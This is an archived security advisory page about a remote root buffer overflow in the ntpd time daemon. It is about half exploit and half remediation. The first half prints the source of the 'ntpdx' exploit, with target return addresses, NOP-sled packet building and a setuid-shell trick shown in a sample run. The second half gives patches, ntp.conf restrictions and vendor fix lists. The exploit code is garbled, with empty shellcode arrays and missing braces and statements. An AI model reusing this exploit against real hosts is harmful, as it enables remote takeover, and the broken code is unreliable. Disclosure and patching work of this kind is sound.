Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Unix :: General :: ntpd.htm

Ntpd prior to 4.0.99k remote buffer overflow attack



    ntpd =< 4.0.99k


    Przemyslaw Frasunek found following.  Network Time Protocol Daemon
    (ntpd) shipped with  many systems is  vulnerable to remote  buffer
    overflow attack.   It occurs  when building  response for  a query
    with large readvar argument.  In almost all cases, ntpd is running
    with superuser privileges, allowing to gain REMOTE ROOT ACCESS  to

    Althought it's  a normal  buffer overflow,  exploiting it  is much
    harder.  Destination buffer  is accidentally damaged, when  attack
    is performed, so shellcode can't be larger than approx. 70  bytes.
    This proof of  concept code uses  small execve() shellcode  to run
    /tmp/sh binary.  Full remote attack is possible.

    NTP is stateless UDP based protocol, so all malicious queries  can
    be spoofed.

     * Example of use on generic RedHat 7.0 box:
     * [venglin@cipsko venglin]$ cat dupa.c
     * main() { setreuid(0,0); system("chmod 4755 /bin/sh");  }
     * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c
     * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c
     * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost
     * ntpdx v1.0 by
     * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
     * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
     * [1] <- evil query (pkt = 512 | shell = 45)
     * [2] <- null query (pkt = 12)
     * Done.
     * /tmp/sh was spawned.
     * [venglin@cipsko venglin]$ ls -al /bin/bash
     * -rwsr-xr-x    1 root     root       512540 Aug 22  2000 /bin/bash

    #include <stdio.h>
    #include <stdlib.h>
    #include <stdarg.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <unistd.h>
    #include <arpa/inet.h>

    #define NOP	0x90
    #define ADDRS	8
    #define PKTSIZ	512

    static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>";

    /* generic execve() shellcodes */

    char lin_execve[] =

    char bsd_execve[] =

    struct platforms
	    char *os;
	    char *version;
	    char *code;
	    long ret;
	    int align;
	    int shalign;
	    int port;

    /* Platforms. Notice, that on FreeBSD shellcode must be placed in packet
     * *after* RET address. This values will vary from platform to platform.

    struct platforms targ[] =
	    { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
		    0xbfbff8bc, 200, 220, 0 },

	    { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
		    0xbfbff540, 200, 220, 0 },

	    { "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve,
		    0xbffff777, 240, 160, 0 },

	    { NULL, NULL, NULL, 0x0, 0, 0, 0 }

    long getip(name)
    char *name;
	    struct hostent *hp;
	    long ip;
	    extern int h_errno;

	    if ((ip = inet_addr(name)) < 0)
		    if (!(hp = gethostbyname(name)))
			    fprintf(stderr, "gethostbyname(): %s\n",
		    memcpy(&ip, (hp->h_addr), 4);

	    return ip;

    int doquery(host, ret, shellcode, align, shalign)
    char *host, *shellcode;
    long ret;
    int align, shalign;
	    /* tcpdump-based reverse engineering :)) */

	    char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
		          0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61,
		          0x74, 0x75, 0x6d, 0x3d };

	    char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
		          0x00, 0x00, 0x00, 0x00 };

	    char buf[PKTSIZ], *p;
	    long *ap;
	    int i;

	    int sockfd;
	    struct sockaddr_in sa;

	    bzero(&sa, sizeof(sa));

	    sa.sin_family = AF_INET;
	    sa.sin_port = htons(123);
	    sa.sin_addr.s_addr = getip(host);

	    if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
		    return -1;

	    if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0)
		    return -1;

	    memset(buf, NOP, PKTSIZ);
	    memcpy(buf, q2, sizeof(q2));

	    p = buf + align;
	    ap = (unsigned long *)p;

		    *ap++ = ret;

	    p = (char *)ap;

	    memcpy(buf+shalign, shellcode, strlen(shellcode));

	    if((write(sockfd, buf, PKTSIZ)) < 0)
		    return -1;

	    fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ,

            if ((write(sockfd, q3, sizeof(q3))) < 0)
                    return -1;

	    fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3));


	    return 0;

    int main(argc, argv)
    int argc;
    char **argv;
	    extern int optind, opterr;
	    extern char *optarg;
	    int ch, type, ofs, i;
	    long ret;

	    opterr = ofs = 0;
	    type = -1;

	    while ((ch = getopt(argc, argv, "t:o:")) != -1)
			    case 't':
				    type = atoi(optarg);

			    case 'o':
				    ofs = atoi(optarg);

			    case '?':


	    argc -= optind;
	    argv += optind;

	    fprintf(stderr, "ntpdx v1.0 by\n\n");

	    if (type < 0)
		    fprintf(stderr, "Please select platform:\n");
		    for (i=0;targ[i].os;i++)
			    fprintf(stderr, "\t-t %d : %s %s (%p)\n", i,
			    targ[i].os, targ[i].version, (void *)targ[i].ret);


	    fprintf(stderr, "Selected platform: %s with ntpd %s\n\n",
			    targ[type].os, targ[type].version);

	    ret = targ[type].ret;
	    ret += ofs;

	    if (argc != 1)

	    fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n",
		    (void *)ret, targ[type].align, targ[type].shalign);

	    if (doquery(*argv, ret, targ[type].code, targ[type].align,
		    targ[type].shalign) < 0)
		    fprintf(stderr, "Failed.\n");

	    fprintf(stderr, "Done.\n");

	    if (!targ[type].port)
		    fprintf(stderr, "/tmp/sh was spawned.\n");


    This exploit worked on FreeBSD 4.2-STABLE with the stock  4.0.99b.
    More sobering, blindly aiming the exploit code at a Sparc  running
    xntpd 3.4y caused it to seg. fault and core.

    Both exploits crash 4.0.99b on FreeBSD 4.2-STABLE; the first  dies
    with SIGBUS, the second with SIGILL.

    This exploit causes a denial of service, crashing the NTP  daemon,
    when run against a NetBSD  system.  The capability to  exploit the
    vulnerability  and  execute  code  has  not  yet been confirmed on
    NetBSD, though it is presumed to  exist.  It is likely that  minor
    alterations  to  the  detail  of  the  published exploit code will
    produce a viable remote root attack.

    The version of  xntp3 that shipped  with Slackware 7.1  as well as
    the  version  that  was  in  Slackware  -current contains a buffer
    overflow bug that could lead to a root compromise.


    Unless systems depend critically on NTP for very accurate time, or
    have very poor  local clocks, the  NetBSD project recommends  that
    running  NTP  daemons  be  temporarily  disabled  immediately,  to
    prevent  the  risk  of  compromise  while fixes are being applied.
    Systems running releases older than NetBSD 1.4 should be  upgraded
    to NetBSD 1.4.3 before applying the fixes described here.  Systems
    running  NetBSD-current  dated  from  before  2001-04-05 should be
    upgraded to  NetBSD-current dated  2001-04-05 or  later.   Systems
    running NetBSD releases  1.4.x or 1.5  should apply the  following
    patches.   These  patches  have  been  pulled  up  to  the release
    branches, users tracking the  release branches should update  to a
    code newer than 2001-04-05.   The two patches are the  same, apart
    from some formatting differences  and relocation of the  file that
    occurred in the interim.

    For     NetBSD-1.5     (apply     the     following     patch   to

    --- ntp_control.c       2000/04/22 14:53:15
    +++ ntp_control.c       2001/04/05 02:08:01     1.2
    @@ -1812,9 +1812,22 @@
                                            while (cp < reqend &&
    -                                       while (cp < reqend && *cp !=
    -                                           ',')
    +                                       while (cp < reqend && *cp != ',') {
                                                    *tp++ = *cp++;
    +                                               if (tp >=
    +                                                   buf + sizeof(buf) - 1) {
    +#if 0  /* don't syslog for now - DoS potential on filling syslog */
    +                                                       msyslog(LOG_WARNING,
    +    "Attempted \"ntpdx\" exploit from IP %d.%d.%d.%d:%d (possibly spoofed)\n",
    +    (ntohl(rmt_addr->sin_addr.s_addr) >> 24) & 0xff,
    +    (ntohl(rmt_addr->sin_addr.s_addr) >> 16) & 0xff,
    +    (ntohl(rmt_addr->sin_addr.s_addr) >> 8) & 0xff,
    +    (ntohl(rmt_addr->sin_addr.s_addr) >> 0) & 0xff,
    +    ntohs(rmt_addr->sin_port));
    +                                                       return (0);
    +                                               }
    +                                       }
                                            if (cp < reqend)
                                            *tp = '\0';

    For    NetBSD-1.4.x    (apply     the    following    patch     to

    --- ntp_control.c	1998/08/27 20:31:02	1.6
    +++ ntp_control.c	2001/04/05 01:50:18
    @@ -1757,8 +1757,22 @@ ctl_getitem(var_list, data)
 					    tp = buf;
 					    while (cp < reqend && isspace(*cp))
    -					while (cp < reqend && *cp != ',')
    +					while (cp < reqend && *cp != ',') {
 						    *tp++ = *cp++;
    +						if (tp >=
    +						    buf + sizeof(buf) - 1) {
    +#if 0	/* don't syslog for now - DoS potential on filling syslog */
    +							msyslog(LOG_WARNING,
    +    "Attempted \"ntpdx\" exploit from IP %d.%d.%d.%d:%d (possibly spoofed)\n",
    +    (ntohl(rmt_addr->sin_addr.s_addr) >> 24) & 0xff,
    +    (ntohl(rmt_addr->sin_addr.s_addr) >> 16) & 0xff,
    +    (ntohl(rmt_addr->sin_addr.s_addr) >> 8) & 0xff,
    +    (ntohl(rmt_addr->sin_addr.s_addr) >> 0) & 0xff,
    +    ntohs(rmt_addr->sin_port));
    +							return (0);
    +						}
    +					}
 					    if (cp < reqend)
 					    *tp = '\0';

    There is a patch for the NTP software from

    For most implementations, that for all clients you can do a

        restrict default ignore
        restrict <time1.server.ip> noquery nomodify notrap nopeer
        restrict <time2.server.ip> noquery nomodify notrap nopeer

    to eliminate most  exposure from the  reported overflow.   On your
    (local) time masters, you would have to do something like:

        restrict default ignore
        restrict <> mask <your.netmask> noquery nomodify notrap nopeer notrust
        restrict <higher_stratum.server1.ip> noquery nomodify notrap
        restrict <higher_stratum.server2.ip> noquery nomodify notrap

    You will also have to specify the time servers by IP address,  and
    you will need to include  the "special" ip address of
    if you use fallback to the local clock.

    Time servers which ntpd is synchronized to, are also subjected  to
    the  restriction.   So,  if  this  is  the only `restrict' in your
    ntp.conf, it also prevents synchronization to the time server.

    For Debian:

    For Immunix:

    For Linux-Mandrake:

        Linux-Mandrake 6.0: 6.0/RPMS/xntp3-5.93-9.4mdk.i586.rpm
        Linux-Mandrake 6.1: 6.1/RPMS/xntp3-5.93-9.4mdk.i586.rpm
        Linux-Mandrake 7.0: 7.0/RPMS/xntp3-5.93-9.3mdk.i586.rpm
        Linux-Mandrake 7.1: 7.1/RPMS/ntp-4.0.99k-3.1mdk.i586.rpm
        Linux-Mandrake 7.2: 7.2/RPMS/ntp-4.0.99k-3.1mdk.i586.rpm
    Corporate Server 1.0.1: 1.0.1/RPMS/ntp-4.0.99k-3.1mdk.i586.rpm

    For Caldera Systems:

    For Red Hat:

    Slackware 7.1 and  Slackware -current users  are urged to  upgrade
    to the  new packages  available for  their release.   The  updated
    package available for Slackware 7.1 is a patched version of xntp3.
    The -current tree has been upgraded to ntp4, which also fixes  the
    problem.   If you  want to  continue using  xntp3 on -current, you
    can use  the updated  package from  the Slackware  7.1 tree and it
    will work.  The updates available are:

        - xntp3-5.93e
        - ntp-4.0.99k23

    For Progeny Linux:

    For SuSE Linux:

    For Trustix:

    For Conectiva Linux:

    For EnGarde Secure Linux:
        - SRPMS/xntp3-5.93-1.0.16.src.rpm
        - i686/xntp3-5.93-1.0.16.i686.rpm

    For Turbo Linux:

    For SCO OpenServer:

    For FreeBSD:

    AIX 4.3.x and 5.1: APAR  assignment pending.  Temporary fixes  for
    AIX 4.3.x and 5.1 systems are available.  The temporary fixes  can
    be downloaded via ftp from:

    Fix will not be  provided for versions prior  to 4.3 as these  are
    no  longer  supported  by  IBM.   Affected  customers are urged to
    upgrade to 4.3.3 at the latest maintenance level, or to 5.1,  when
    it becomes available.

    For Compaq's Tru64 UNIX  V4.0d, V4.0f, V4.0g, V5.0, V5.0a, V5.1:
        V4.0D:   DUV40D16-C0058302-10580-20010430.tar
        V4.0F:   DUV40F16-C0042002-10579-20010430.tar
        V4.0G:   T64V40G16-C0003502-10577-20010430.tar
        V5.0:    T64V5016-C0006102-10575-20010430.tar
        V5.0A:   T64V50A16-C0010402-10574-20010430.tar
        V5.1:    T64V513-C0027202-10573-20010430.tar

    A patch for Compaq Tru64 UNIX  V4.0e is not available as it  is no
    longer supported  by Compaq.   If you  require a  patch for  V4.0e
    please contact your normal Compaq Services channel.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH